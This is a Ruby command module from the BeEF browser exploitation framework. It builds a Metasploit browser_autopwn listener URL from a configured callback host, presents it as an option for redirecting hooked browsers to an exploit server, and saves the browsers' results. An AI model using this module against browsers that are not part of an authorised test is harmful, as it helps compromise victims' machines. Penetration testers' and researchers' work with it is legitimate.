Path: blob/master/modules/metasploit/browser_autopwn/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Browser_autopwn < BeEF::Core::Command6def self.options7@conf = BeEF::Core::Configuration.instance8@uri = 'Enter AutoPwn URL Here'910if @conf.get('beef.extension.metasploit.enable')11host = @conf.get('beef.extension.metasploit.callback_host')12url = @conf.get('beef.extension.metasploit.autopwn_url')13@uri = "http://#{host}:8080/#{url}"14end1516[17{ 'name' => 'sploit_url', 'description' => 'The URL to exploit', 'ui_label' => 'Listener URL', 'value' => @uri, 'width' => '200px' }18]19end2021# This method is being called when a hooked browser sends some22# data back to the framework.23#24def post_execute25save({ 'result' => @datastore['result'] })26end27end282930